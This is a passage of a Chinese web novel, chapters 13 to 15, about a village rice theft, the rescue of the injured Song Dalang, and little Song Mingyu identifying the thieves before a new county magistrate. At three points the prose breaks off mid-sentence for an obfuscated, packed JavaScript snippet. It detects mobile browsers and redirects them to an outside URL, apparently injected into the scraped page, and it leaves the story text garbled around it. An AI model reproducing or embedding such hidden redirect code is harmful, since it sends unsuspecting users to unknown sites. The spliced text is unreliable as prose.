可是越这么想,耳边那股喊他的声音仿佛就越来越大,他努力撑起头看去,只见一大片红色的海慢慢向他移动而来。 那是火!那是火把! 宋大郎激动得呼吸都急促了几分,眼泪婆娑。 村里人来救他了!他爹来救他了!他们没有放弃他! “大郎!大郎!” “我在这——”宋大郎用尽自己全身最后一丝力气喊着,恍惚间,他看到一个熟悉的身影颤颤巍巍向他所在的这棵树跑来,那是宋老汉。 “爹——!” 宋老汉终于忍不住了,嚎啕大哭,“儿啊,我的儿啊,爹来了,爹来了……” 13. 第13章 李村长驾着牛车急匆匆赶到里正家,里正正打算睡下,就听到门外砰砰砰的拍门声,那力道简直要把门给拍碎。 “里正老爷!里正老爷——” “出大事了!” 里正这些天正心力交瘁,身心俱疲着。摊上一个励精图治,励志要做出政绩的县令,里正也不知道是喜是忧。 喜的是终有有好官了,忧的是做为这十里八乡的里正,他一天要被县老爷召见无数次。 里正叹了一口气,还是下床去开了门。大半夜的也不安生,他倒要看看,这次又是那个村子闹了事! 一开门,就看到熟悉的稻香村村长的脸,里正一下子怒从心起,“这又是出什么事了!” 李村长焦急喊着,“这事关乎到我稻香村三百口人的性命,半夜劳烦里正,还望里正老爷见谅!” 里正皱着眉头,“关乎到全村人的性命?何事这么严重?” 李村长道,“我们稻香村世世代代安居一偶,从未做过什么伤天害理之事,可就算这样兢兢业业的活着,还是有人想置咱们于死地!” “咱们村的稻子,眼看就要熟了,竟然半夜被人偷偷割走了一半!如今秋收完就要交税了,这可拿什么交税啊!” 里正一听这话,气得一甩袖子,“我记得两年前一次收稻时,上游村也有人被偷了稻子,只不过旧县令不爱管这些琐事,当时就算我有心去查,也没什么用。” “本以为这样已经给那小贼一个教训,现在竟然敢还来偷稻子,甚至是偷了整个村的!情节严重,不能原谅!” 里正黑着脸,瞥了李村长一眼,“还愣着干什么,还不快速速带我前去查看!” 李村长立即将里正请上牛车,就算摸着黑,也是一路畅通无阻去到了稻香村。 刚入村,就感受到了空空如也的村落,李村长疑惑,看见山东后头的大片山林似有密密麻麻的小星光点,当即驱着牛车赶了过去,就见到一身血的宋大郎被众人抬下了山。 众人见到李村长载着里正过来,简明扼要说明了前因后果,宋老汉和朱秀儿林老婆子着急带着宋大郎赶去镇上医馆了。 火光冲天,映照这大片田地里空空如也,原本一片金灿灿的稻浪与芸苔花遥相呼应,如今被割得七零八落,有些稻子还没有完全成熟,就这样被人糟蹋,扔在地上。 里正看得怒火冲天,“民以食为天,不管是谁,这样糟蹋粮食,我绝不会轻易就这么算了!” 宋二郎愤懑道:“我和大郎来巡田,看到那群偷稻贼的动作都隐秘得很,都穿着黑色的衣服,这样黑的天里面基本很难看见他们,那些人定是故意的!” 稻香村有人愤怒,“实在是太狡猾了!” 李村长皱着眉头,想到了什么:“大郎追着偷稻的贼人去了大山深处,可是在这大山附近的村子也就只有两个,一个是稻香村,另一个就是上游村…” 王二狗附和起来,紧紧捏着火把,“肯定是上游村,一个月前因为清谷河灌田这事他们就不服了,现在天都黑了还摸黑来偷稻子!” 赵大牛气得将锄头砸在地上,做为吃百家饭长大的汉子,他深深知道粮食有多重要,那种吃了上顿没下顿的日子刻苦铭心,眼下这样糟蹋偷盗粮食的行为令他气急不已: “天杀的上游村!我这就去和他们理论!要是不把稻子交出来,别怪我们不客气!” 宋明玉被林老婆子托付给柳雪梅照看,三个小子嗓子都哭哑了,现在都齐齐躲在柳雪梅和宋三郎身边,看着这一幕。 宋明玉脑中闪过白天和林老婆子在山坡上采栗子时,看到的几个鬼鬼祟祟的身影。 她反应过来,现在所有人都恨不得住在山上采山货,哪有人白天去田地里头左瞧右看,一定是在干什么见不得人的事… 心中顿时有什么东西连在了一起,她福至心灵: ——那些人,是来踩点的。 思来想去,她悄悄扯了扯宋三郎的衣袖。见小妹有话要说,宋三郎疑惑弯下腰来,就听见宋明玉道:“三哥,我今天看见了偷稻的贼人。” 宋三郎面色严峻,“小妹,这话不能乱说。” 宋明玉点点头,“是真的,只不过他们没穿黑色的衣服,就是和咱们一样的衣服,他们好多人,在很多人的田地里面看来看去…” 宋三郎压下心头的震惊,看着里正和村长一群人还在商量着对策。 如今正是秋收时节,天亮得比较早,蒙蒙亮中已经能够看清周围被祸害了的大片田地。 宋三郎抱着宋明玉,低声问道:“小妹,你看见那些人长什么样了吗?” 宋明玉乖乖点头,“看见了。” “可否还记得?” 宋明玉做思考状,之后才笃定地点头:“记得!” 宋三郎紧紧握住宋明玉的手,思来想去,“若是,若是这场偷稻的事件,小妹做证人,小妹可害怕?” 宋明玉甜甜笑起来,软软抱住宋三郎,“囡囡不怕,他们这样害大哥,他们都是坏人!夫子说过,坏人都应该得到应有的惩罚!” 宋三郎欣慰点头,“好!好!” 随后站起身来,大声道:“各位,我宋青川是大顺三十四年秋乙酉年童生,我做担保,家中小妹今日随我母亲上山,亲眼瞧见过贼人,如今还记得贼人的模样,是不是上游村的人,全叫来问话,一看便知!” 听到宋三郎这话,人群骚乱了一阵。 里正走到宋三郎面前,看他眉清目秀,眉宇之间全是读书人的正直之气,再看抱在怀里的小妹,可爱秀丽,圆润灵动。 “好!好!好!”里正一连说了三个好字,立马拍掌道,“此事牵扯重大,还是新县衙最关心的粮食问题,万不能就这样忽略了,我现在就进城禀告县老爷,让他来亲自做决断!” 里正在稻香村人热切的目光中走了,稻香村人又度过了一个没有安稳觉的夜晚,趁着如今精气神还旺盛着,连忙各自归家,将剩下的稻谷赶紧收割了。 孩子们也没闲着,跟在大人身后将自家地里面掉在地上的稻子捡起来,这样一捡又是一大箩筐。 整个稻香村睡得最安稳的就属宋家二房,冯翠花一想到大房那边这段时间接二连三的遭难,就忍不住心情好,睡醒了脸上还是挂着笑的。 眼看着村里人都散去,各自去地里抢收稻子去了,冯翠花才把整个家都嚎起来,所有人都要去收稻。 宋家大房这边,柳雪梅心中惴惴不安,拉着宋二郎直问:“这可怎么办啊,眼看着大哥血淋淋地从山上抬下来,说句不好听的,这能不能活还不一定呢…” “两个月前爹受伤,本以为要花光家底,后来上游村也是送了医药银子来,但这次大哥这医药钱可怎么办啊……” 柳雪梅担忧道:“不会让咱们都掏银子吧,我可没这么多银子了,大多都充公了!” 宋二郎本就心烦,一回到家就一直听柳雪梅叨叨叨的,眼下更烦了,甩开扒着她的手,冷冷道:“你少说几句行不行,就算要花钱,那也是咱们大哥!是我的亲兄弟!” 柳雪梅看见他这样子就来气,撸起袖子就道:“好啊你宋二郎,平日里窝窝囊囊的,爹娘在家的时候一个响屁都不敢放,就知道在我面耍横是吧!行啊,你这么有本事,你怎么不出去挣钱,像大哥一样,日日早起送娃们去学堂,顺带去镇子上当帮工,一日还能挣个十几文回来,你呢!你会啥! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496871|154537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “只会在村里头给那些泥腿子帮帮忙,挣个零头罢了!” 宋二郎被骂得来气,回怼道:“你嫌只是个零头,这些年我哪次挣钱回来不是给你收着?” “是,我没本事,不像大哥那样能说会道,但大哥什么时候亏待过我们?柳雪梅,你自己摸着良心说,我们宋家有亏待过你吗!” “你不是嫌弃那些铜板只是一些零头吗,你现在就给我拿出来,就算是零头我也要拿去给大哥治病!” 柳雪梅一听要将钱拿出来,气势瞬间就没了,深呼吸几下,犹豫着拉向宋二郎的手,软了声:“二郎,别生气,我这不也是为咱们这一房考虑嘛,刚才是我嘴急说错了话,你别往心里去…” “大哥肯定是要救的,只不过……”柳雪梅犹犹豫豫,“我这不是担心家里银钱不够嘛。” 宋二郎冷哼一声,就要进屋。 柳雪梅赶紧跟上去,“二郎,别气了,我晓得分寸,我这不是担心咱文哥儿明年就要去学堂读书了,家中没有银钱,这……” 柳雪梅拉住宋二郎袖子,“我这也是心急文哥儿的读书,一时最快说错了话,二郎莫气了。” 宋二郎没说话,吃了一碗稀粥,便招呼着出去抢收去了。 涉及银钱,柳雪梅也不敢多说话,跟着宋二郎出门抢收稻子。 家中孩子也忙活了大半夜,如今昏昏欲睡。出了这样的大事,宋三郎实在不放心孩子们自己在家,便带了一床凉席和一张小薄被子,将四个娃都带到了田间的树荫下,让孩子们睡着,三个人立即下地抢收去。 忙活了大半天,眼瞧着日上三竿,柳雪梅将从家中带来的米粥给四个孩子喂下,四个人又生龙活虎起来,跟着在后面捡稻穗子。 这时,一队浩浩荡荡的人马也来到了稻香村的大槐树下,村长将锣鼓敲响,村里人全都聚集起来,第一次看到这个新上任的县老爷。 莫约三十来岁,鬓边已有白发,一双眼睛锐利得吓人,看他看上一眼好似就能让他知晓心中的想法。 虽然县老爷只穿了一身家常便服,也难当周身上下那一股荡然的正气。 “参加县老爷!”村里人战战兢兢跪拜。 陈舟立刻道:“我一阶小官,怎能受百姓跪拜,快快请起。” 宋明玉站在人群中,眨了眨眼睛。 这个县太爷,和百姓说话的时候都自称“我”,也没有摆架子,看来是个好官。既然是个好官,那偷稻这一事就不用怕还有其他的波折了。 想到宋大郎被抬下山的惨状,她悄悄攥紧了手掌心。一定要让那些贼人付出代价! 陈舟站在人群中,沉着道:“我已经听说了稻香村被偷稻这一事,情节严重,上游村确实有着重大嫌疑。” “昨日有个小孩说,自己见过贼人,是谁?” 宋三郎紧紧握住宋明玉的手,宋明玉抢先一步站了出去,声音清脆又响亮:“回县老爷,是我。” 陈舟见她不卑不亢,脸上多了几分笑意,蹲下与她平视道:“哦?你叫什么名字?” 宋明玉拉着宋三郎的手,明亮的眼里没有丝毫畏惧,“我叫宋明玉。” 陈舟眼睛一亮,笑起来,“明玉,是个好名字。” 随即眼神犀利扫过众人,“本官来这上任之前,就已经派人来打探过。我这人最不喜重男轻女,特别是给女娃子起个劳什子招娣,草丫之类的贱名。” 他振臂高呼,“女娃也必须像男娃那样,有正常响亮的好名字!” 村里几个妇人惶恐躲到人群后,个个眉头紧皱,如有深仇大恨般。 特别是冯翠花,心里唾弃,连年头竟然连起名都要管,我呸! 14. 第14章 宋明玉和宋三郎跟着陈舟一行人去了上游村。 上游村此刻家家户户大门紧闭,就连门口的狗也趴在地上,病殃殃的,见到外来人也不叫了。 这安静空旷的,乍一看,像是一整个村的人都跑光了。 陈舟沉了脸,问里正:“这是怎么回事,这上游村怎么跟没人一样?” 里正抹了抹额头上的汗,这上游村他也来过几次,当下便去了周村长家,哐哐几下砸门,门便开了。 开门的是一个小丫头,见他不是本村人,怯生生道:“你是谁,来我家有什么事?” 里正挤出一个笑脸,“你家大人在家吗?就说里正来了,让人速速出来。” 小女孩定定看了里正一会,这才跑回屋子里去,不多时,周村长才姗姗来迟,里正正欲开口,周村长便扑通一声,跪在里正面前。 “里正老爷,当年上游村选村长的时候,我得您的首肯,这些年我也兢兢业业,发誓一定要带着村里人发家致富,可现在……周某愧不敢当!” 里正心思活络,从周村长这一袭话里听明白了些,他这指的所为何事,但眼下就算判罪,也得有个正当理由。 至少将贼给抓出来。 里正岔了个话题,“走吧,有什么事咱们大伙当面说。” 周村长抹了一把眼泪,叹着气跟着里正出了门。 在俩人走后,躲在家里的上游村人纷纷从家里探出头来张望,瞧着村长跟着里正走了。远远看去,只见稻香村的人浩浩荡荡堵在村子正中央,个个又立马将门窗紧闭起来。 周村长在县太爷下乡来巡查的时候也远远见过几次,当即便认出了站在稻香村人面前的县老爷,上前又是一跪: “县老爷,咱们上游村知错,两个月前不该私自搬来巨石围堵河道,咱们已经凑了银钱去给稻香村的宋家大伯治病,如今,如今……” 稻香村人见他这样,立马道:“谁和你说前两个月的事,现在说的是你们上游村出了偷稻子的贼人!” “对对,我们整个稻香村都被偷了稻子,就是你们上游村人干的!” “就是就是!赶紧让你们上游村的人全都出来!” …… 周村长握紧的拳头隐隐发抖,知道偷稻这项罪名要是定了,后果有多严重。但此刻他也来不及骂那些没有脑子的偷稻贼,做事也不知道做全乎了,竟然还留了这样大的一个把柄,都让人给堵上家门口了! 简直是一群废物! 周村长忙不迭找补理由道: “这清谷河自古以来就是咱们上游村的神河,咱们对神河是极为恭敬虔诚的,若不是稻香村的非得打上家门,要开通河道,咱们…” 陈舟负手站立,打断他的话:“有什么缘由就直说,还有,将村民全都叫出来,本官有事要问。” 周村长犹豫:“可如今是农忙,村里人都在田里面抢收稻子呢,若是现在将人叫来,误了农时可如何是好。” 陈舟锐利看他一眼:“用不了多长时间,今年稻子长得怎么样我也是知晓的,不会耽误农事。” 阴影之中,周村长掩盖住眼底的一抹狠厉,不情不愿敲响了代表集合的大钟。 不一会,集合的地方就被村民给挤满了。 周村长挨家挨户点名,得知每一家都到齐了人之后,这才准备说话。 人群吵吵嚷嚷的,有人扛着锄头镰刀,一张脸上汗水淋淋,被晒的黝黑,匆匆赶来:“有啥事非得农忙的时候说啊,正着急抢收稻子呢!” “是啊是啊,刚从田地里面收了稻子回来晒着,都没翻匀乎呢,就赶过来了。” 上游村大部分人这么说着,脸色不悦,但在场很大一部分村民都低着头不语,目光躲闪,站到人群后去了。 “别吵了别吵了!”周村长极力想让人群安静下来,“这位是县太爷,来咱们村问罪的,稻香村的稻子被人偷了,怀疑是咱们村的人干的。” 周村长眼睛环视众人,“到底是谁干的,或者有没有干,都赶紧给我早点承认了,在县太爷面前还能从宽,别到时候揪出来……自个掂量掂量吧!” 这话说的,很大一部分村民都开始吵嚷起来,嗓门粗大,唾沫横飞:“什么意思,稻香村的稻子被人偷了就怀疑是俺们干的,有什么证据吗?” 稻香村也不是吃素的,这上游村简直无耻,说的冠冕堂皇的,这几座大山里头,不就只有这两个村子么,除了他们还能有谁? 李村长喊:“还不承认是吧,若是外面来的贼,去县城和镇上的大路两边,那么多田地,这么多稻子,为什么还要舍近求远来咱们村偷,还不是因为咱们村离你们村近,带回家也方便。” 上游村人红脖子喊起来:“你胡说!没有证据就想要平白诬陷俺们!” “把你们村的人都叫来不就知道了,肯定还有人没来,实在不行就挨家挨户搜!总能把稻子搜出来!” “你们稻香村的敢强闯民宅,县老爷还在这呢!再说了如今农忙,谁家里头没有稻子,你们如何能咬定是你们村的!” 赵大牛吵不过这群人,气得怒吼:“我呸!今儿个这事没完!” 眼看着两拨人就要打起来,里正偷瞄着县太爷越来越黑的脸,上火吼道:“够了!还嫌事情不够大吗?” 陈舟在路边找了块石头坐下,久居官场,这种斗来斗去的场面他已经见过无数次。但若是这样的两个只会骂战的村子,丝毫没有技巧,他觉得有些烦躁。 “如今正是最重要的秋收时节,咱们也不想耽误大家抢收,但是这一场恶劣的偷稻,实在令本官震惊,这贼人,今天无论如何都是一定要找出来的。” 县太爷都发话了,其他人也不敢辩驳。 周村长攥紧拳头,“这青天白日的,想要抓人,总的有个证据吧,不然这传出去也不好听,知道的以为县太爷您刚正不阿,不知道的……还以为您胡乱抓人呢。” 上游村人也是火气大:“对啊对啊,证据呢!” 宋明玉紧紧攥着宋三郎的袖子,主动站出来大声道:“我见过偷稻的人,还记得他们的长相。” 一道略显稚嫩的声音穿过人群,落到层层叠叠的每个人耳朵中。 宋三郎感受到多道不善的目光射来,心里一紧,赶紧将小妹抱在怀里。 陈舟也看了过去,看见小女孩临危不乱,站的笔直,小脸崩的紧紧,清脆道:“贼人险些害我大哥丢了性命,我也一定要将贼人找出来,还我大哥公道!” 声音不是很大,却足够震慑人心。 陈舟招呼着宋明玉来到自己身边,问她,“小小年纪,你不怕吗?” 你不怕吗? 这个问句,第一次听到的时候还是林大夫问的。 宋明玉捏紧手心,从来到这个世界开始,她就只想和家人好好生活,但事实证明小人这种糟心玩意儿哪里都有,你越是逃避,他就越是得寸进尺地欺负你。 我这样在意的生活,可越是有人想要毁了。 她怎么能够一直躲在人后,一辈子都仰仗着爹娘和大哥们的庇佑。 宋明玉捏着小拳头,“我不怕,爹娘一直教导我,临危不乱,才是最可贺。在坏人面前低头,他只会越发觉得你可以欺负。” 陈舟抚掌大笑,“好!” 眼神犀利扫过上游村人,“每个人站成两排,一排排上前来指认。” 上游村人不满,站成两排,让一个小孩指认贼人,还是一个丫头片子,这都是什么事啊!传出去脸还要不要了? 但碍着县太爷,也没人敢说话。 陈舟带的衙役自动将上游村人围住,这下做贼心虚的人想跑也是跑不了了。 上游村人看着这些个凶神恶煞的衙役,每个人身前都带着一把大长刀,看着就是不好惹的样子,说不定刀口上沾了不少人命,纷纷缩着脖子,排起队来。 陈舟看向站在自己身边的几个衙役,道:“剩下的人,去田里和屋里,将上游村还没有来的人给本官带出来,胆敢私藏起来者,抓入大牢,等待审问。” 这时藏在上游村人之后的几个瑟瑟发抖的村民才开始担惊受怕起来。 他们本以为,那小女娃子就算记忆力再好,认出他们,他们抵死不承认也便罢了,可是如果所有参与偷稻的人都被抓了…… 而且赵三家的昨日夜晚还差点被稻香村的人给活捉了,冒险上了山,才侥幸从山里头跑了回来,被熊瞎子追了一路,还好知晓山路,摸爬滚打才逃出来,捡回一条小命,但也受了不小的伤。 要是赵三被抓出来,追查这伤的来源,他们那时候就真是百口莫辩了。 赵三又是上游村有名的墙头草,为了活命什么都干得出来,到时候县太爷一开口,就全都完了! 剩下的衙役立即往上游村里头四散而去,偷了稻子的人看着心焦不已,都在祈祷,赵三千万不要被抓到…… 没有参与偷稻子的上游村人站的笔直,嘴里仍然骂骂咧咧的,但也是小声和认识的人骂几句,不敢在县太爷面前造次。 偷稻子的人就算再怎么祈祷,该来的还是要来。 赵三一行人很快就被办案多年的衙役抓了出来,一个个被押着过来,还穿着黑色的衣服。 赵三身上全是血,每走一步都滴滴掉落在地上,看得人胆战心惊。 宋二郎指着赵三叫起来,愤怒道:“就是他!就是他!他这个身影化成灰我都认识,就是他引着我大哥去深山里头的!” 稻香村看着这一溜子的黑色衣服,还有什么不明白。 这上游村不仅纵容村民去偷别村的稻子,事到临头极尽推脱,还将贼人给藏了起来,简直是可恶之极! 宋明玉看到几个熟悉的面孔,也对陈舟说:“就是他们,我昨天在山坡上见过,他们来咱们村的地里,不知道在干什么,像是去踩点的。” 赵三果然是个没骨头的,平日里在村子里捉鸡逗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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周村长忙不迭道:“这清谷河本来就是咱们上游村的神河,咱们世世代代供奉,如今眼下收成不好,他们这也是没办法了,眼看着就要饿死,当初围堵了河道,不过也是因为清谷河是咱们村的神河,才觉得理应偏袒咱们村的人,后来也闹开了,河道开了,家家户户田里都没水,没水就意味着收成不好,这才动了歹心,觉得是咱们村神河浇灌长出来的稻子,想去……想去拿一些罢了。” 周村长继续说着:“咱们都是地道的老实庄稼汉,从未想过后果竟然这样严重,村里人都世代在此扎根,如今也意识到了自个的迷信,不该有此大逆不道的偷稻子想法,这次咱们上游村做错了,也知错了,以后这样的事绝对不会再犯,拿了稻香村多少稻子,我们如数奉还。” 上游村人也安静下来,偷了稻子的人都应和着周村长,“对…对!拿了多少我们都还回去。” 要是知道这事会闹得县太爷都来了,他们就算吃了雄心豹子胆也不敢去偷稻子。 稻香村李村长也不是好欺负的人,他冷笑着,“好啊,没经过同意就擅自拿去,这叫做偷,你三言两语就将偷化为拿了,还拿劳什子神河迷信做筏子,听着倒像是我稻香村做了什么对不起你们的事。” 李村长没再给上游村人机会,对着陈舟道:“县太爷,上一次的清谷河那事,咱们村的李二叔和宋家大伯都被人打得头破血流送回来,这一次因为上游村偷稻一事,又害得宋家大郎被困在野兽盘踞的山林里一晚上,还险些丧命,还请县太爷为我等主持公道!” 稻香村人齐齐下跪,“还请县太爷为我主持公道!” 稻香村和上游村世代都因为一条河有积怨,也不是一天两天的了,这样好的严惩上游村那些没脸没皮的人的机会,稻香村怎么会放过。 最好以后少闹事,也能平和一阵子。 陈舟看着上游村那些偷了稻子,瑟瑟发抖的村民,严厉道:“证据确凿,来人,将参与偷稻一事的人全都给抓起来。” 又扭头看着宋明玉,问,“小丫头,你之前说,想要替大哥报仇,如今我将这个机会给你,你如何给大哥报仇?” 宋明玉抬起脸,明媚的笑容如春日暖阳,她开口,甜甜地说出最残忍的话:“也将他们扔到山林和野兽里过一晚上。” 偷稻的人大惊失色,像赵三这样经常往山上去抓野味吃的人,都差点折在大山里出不来,更何况他们! “你个年纪小小的女娃,为何心肠如此歹毒!”有人破口大骂起来,“你这是诚心想要我们的命!” “对啊对啊,这小女娃长得好看,竟然心肠如此脏污,真是人不可貌相!” “教出这样一个狠毒的丫头,看来她家里人也不是好人!” 李村长脸黑得如同锅底,“给我住嘴!谁要敢再多说一句,我现在就撕了你们的嘴!” 宋明玉却面无表情,听着上游村议论她的话,甚至笑出声,“我骗你们的,才不要扔到山里呢,县太爷会好好处置贼人,我才不担心,我只想大哥有银钱治病就好了。” 她对陈舟道,“县太爷,我家里人口多,要交的赋税也多,今年是灾年,粮食都要交税了,家中银子也没有多少,我不想让大哥没有银钱治病…” 她眼泪蕴着委屈的泪,抓着宋三郎的衣角:“上次村里面的张奶奶就是没钱去医馆瞧病,才病死的。” 15. 第15章 这一番情真意切的话,听得人动容。 更何况这还只是一个年仅五岁的小娃娃,有这样的孝心,实在难能可贵,陈舟忍不住又看了她一眼。 里正立即会意陈舟的意思,立马道:“那就如同上一次那样,宋大郎医治需要花费多少银子,这一次也同样由上游村想办法凑齐!” 陈舟点点头,“参与偷稻的,全部带走!本官要亲自审问!” 上游村人再怎么横,也不敢在官府面前造次,更何况这还是县老爷。 只能看着偷稻的人被牢狱押着带走,浩浩荡荡的一路,从这小山村里面出去,一路押送到县城里,一路上无数人出门驻足观望,看到这样热闹的场景,也啧啧叹声。 这样一通堪称游行的队伍下来,上游村在这十里八乡的名声是彻底臭了。 上游村内哭天嚎地,还有些其他村子的人家在听到上游村的丑闻之后,有人家定了上游村女子的婚约,当天就着礼书前来退亲的。 又是一阵哭喊挽留,人甩着袖子头也不回地离开。 稻香村可不管这么多,由里正指挥着将被偷来的稻子全都搜刮而出,堆成了一个小山,统计了稻香村每家每户被偷的数量之后,各自分发下去了。 而周村长被里正监督着凑钱给宋大郎治病。那些没参与偷稻的人家,平白无故要交钱出去,又是不愿意,又是哭闹的,咒骂的,哀嚎一片。 * 陈舟特允许了宋三郎带着宋明玉随着县衙的队伍一起,顺路去镇上的平安医馆看望大哥。 柳雪梅和宋二郎则在家中守家。 宋三郎拱手作揖,连声道:“还望县太爷宽慰一会,家中还有一些东西需要带上。” 陈舟自然没有不应允的,看着宋三郎拎着一个篮子和一个小包袱匆匆赶回,好奇道:“这是带了什么?” 宋三郎拱手:“今日家父与家母还有大嫂一同去了镇上照顾大哥,想来事出匆忙,还没有用过午食,如今都快下午了,便带些吃食过去。” 宋三郎又摸着小包袱道:“学生休沐在家,这两日也抄了两本书,想到镇子上交给主家去,也能攒下些银子缓缓家里拮据……” 陈舟听完,看向宋三郎的眼神都柔和了不少,“抄书?想必也是个读书人罢。” 宋三郎恭敬道,“是的,家父家母辛苦劳作,让家中小辈每一个人都有去学堂的机会,就连小妹如今都在学堂里读书。” “哦?”陈舟来了兴趣,看向一旁安安静静窝在宋三郎怀里的小女娃,“你也读过书,在学堂上学?” 女子上学堂,这在大顺朝可是闻所未闻! 宋明玉点头,“是哒,如今已经在学堂读书半年啦。” 陈舟压下心中大憾,怪不得此女小小年纪就能语出惊人,张弛有度,沉着冷静。和那些大字不识的农户人拉开了十万八千里的距离。 竟是如此! 陈舟想着,这稻香村宋家真是个奇怪的人家,不仅没有重男轻女,甚至还让女子入学堂。足以可见这一家人见识不短,日后定会有大造化。 陈舟摸着胡子看向宋明玉,心中冒出一个大胆的念头,若是他下治百姓人人皆入学堂读书,不就能人人知理了? 到时候哪里还会有这样两个村子争来争去的事,人人知理,皆有所求,读圣贤之书…… 那日后若是有机会回京述职,这也算是大功绩啊!陈舟越想越觉得此想法可行。 一颗人人读书的思想幼苗,逐渐在陈县令的心中破土萌芽。 他又问宋三郎,“我瞧着你学识不浅,如今科考到什么名头了?” 宋三郎晦涩笑着:“小生不才,去年科举方才得到童生的头衔,如今在福满镇上的白泽学院读书。” 陈舟点头,“年纪轻轻已经考取了童生,果然学识不浅,若是再沉淀一两年,秀才、举人也是有机会的。” “我在兴宁县里头新办了一个学堂,不知三郎可有兴趣。” 宋三郎一听这话,激动得双手颤抖,这县城里头新办的学堂他自然是听说过的,是新上任的县令一手操办,名为兴宁学院。 寻的都是鼎鼎有名的夫子,据说那兴宁书院刚修建好,就将整个县城的大部分藏书给移到了学院里头,任何人不分高低贵贱皆可借阅。 因此里头的藏书也是福满镇的十几上百倍不止,他一直想去拜访。 奈何这兴宁书院选拔严格,在兴宁县的各治下镇的学子中择优而录,只要拔尖中的拔尖,才有机会去到兴宁学院。 宋三郎跪地恭敬行了礼,“学生不才,多谢县太爷!” 陈舟大笑,“起来吧,兴宁书院能有三郎这样的好儿郎,是它的福气。” “书院新一批招生在明年开春,届时去往书院报道即可。” 宋三郎按下心中的忐忑,对着陈舟谢了又谢。 从上游村到福满镇的距离,说长也不长,说短也不短。三人说说笑笑,都没注意到时间流逝,很快便到了福满镇,宋三郎带着宋明玉和陈舟告别。 陈舟恋恋不舍与兄妹俩挥手告别,这一路的交谈下来,更觉宋三郎是个不可多得的人才,宋明玉也是聪慧无比,心中更是欢喜。 宋三郎带着小妹先去书肆将这两天的抄书给了掌柜,宋三郎是抄书的老熟人了,每次抄的书都工整清晰,掌柜也满意无比,象征性翻了翻,看着这一次的字迹也一如既往整齐清晰,笑着给了三十个铜钱。 宋三郎道了谢,又接下两本抄书的活,这才离开书肆。 先去买了几个大肉包子,给了小妹一个,将剩下的仔细包好,放到小篮子里,往平安医馆去。 路上,宋三郎问:“方才上游村的人说,前些日子爹被打伤了,是怎么回事?” 宋明玉看向宋三郎,还以为他不会注意到呢,没想到还是被发现了。 不过她也没打算隐瞒,那时候没有通知宋三郎是因为担心他在学院读书分心,如今休沐回来了,爹也已经大好,也没必要隐瞒了。 宋明玉抱住宋三郎的腿,两只眼睛说泛泪就泛泪,“两个月前,上游村人不讲理,私自围堵了河道,咱们村一滴水都没有了,爹爹去和他们说理,被人打得头破血流,身子都要凉了……” “爹爹当时很痛很痛,林大夫救了一天,还是大哥去求了谢家,谢家赠了救命的老参,爹爹才能救回一条命的,呜呜呜…三哥,上游村人欺人太甚,还好县太爷是大好人。” 宋三郎只觉得晴天霹雳,爹被人打得身子都要凉了? 看着自家眼泪婆娑的小妹,蹲下来手忙脚乱帮她把眼泪给抹了,“小妹不哭…” 随即心中腾起一股无名火,这上游村子简直欺人太甚,方才真是太便宜他们了! 要是有机会,要是有机会…… 宋三郎捏紧拳头,他一定不会放过他们! 宋明玉看着宋三郎眼中那滔天的怒火,心中咯噔一下,心想她这三哥看着像是要黑化啊。 那还得了,宋三郎一个翩翩君子,全家人都指望着他飞黄腾达,带飞全家呢。 宋明玉没忍住,咬了一口香喷喷的大肉包子,仰起头天真道:“三哥,后续里正帮我们找了公道,上游村的人也交了医药钱来,咱们家没花钱…” 宋明玉咬着肉包子:“三哥,偷偷告诉你哦,其实爹爹的医药费钱是二十五两,但是林大夫是好人,要了三十两银子,还将多出来的五两给了娘亲。” “娘亲和大哥买了好多好吃的!”宋明玉高高兴兴掰着手指头,“大哥买了八斤猪肉,娘亲做了好多腊肉,我和知江他们天天都去看,老香了!” “还买了五斤棉花,大哥说,现在北边的天气不好,怕波及到我们这,一个词叫什么,有备无患。” 宋三郎被小妹这可爱的样子逗笑了,耐心帮宋明玉擦了嘴,“就你个小馋猫,吃得满嘴。” 宋明玉拉住宋三郎,“这不是有三哥在嘛!” 宋三郎隐藏住眼底的冷,看着小妹这憨厚可爱的模样,心底泛软,将宋明玉抱在怀里:“走,去看大哥!” 两人来到平安医馆,林安看到宋三郎,嬉笑着上前来,宋三郎微微疑惑。 林安看着自己熬药抹得满身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539013|154537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灰,捶了他一拳头,“咋的,回家两天就认不出你前桌了。” 这熟悉欠揍的语气,宋三郎反应过来,也干笑一声,“你小子,少废话,我大哥呢?” 林安将药罐子放下,“随我来吧,回书院后你得帮我补一补策论,我这两天感觉遇到瓶颈了。” 宋三郎担心大哥,只从喉咙里吐出一个字,“行。” 林安看他那样子,带着两人来到一个小隔间内。 就看到宋老汉和林老婆子、朱秀儿都在里面。 宋三郎将宋明玉放下来,小丫头立马就扑进林老婆子怀里,不敢大声,怕惊扰了大哥,小声道:“娘亲,囡囡来啦!” 林老婆子心里正七上八下的,突然一团白软软的小团子扑进自己怀里,眼泪婆娑,心里也软了一片,“囡囡,娘亲的心肝肉。” 宋三郎拎着篮子走进,“爹,大嫂,大哥怎么样了?” 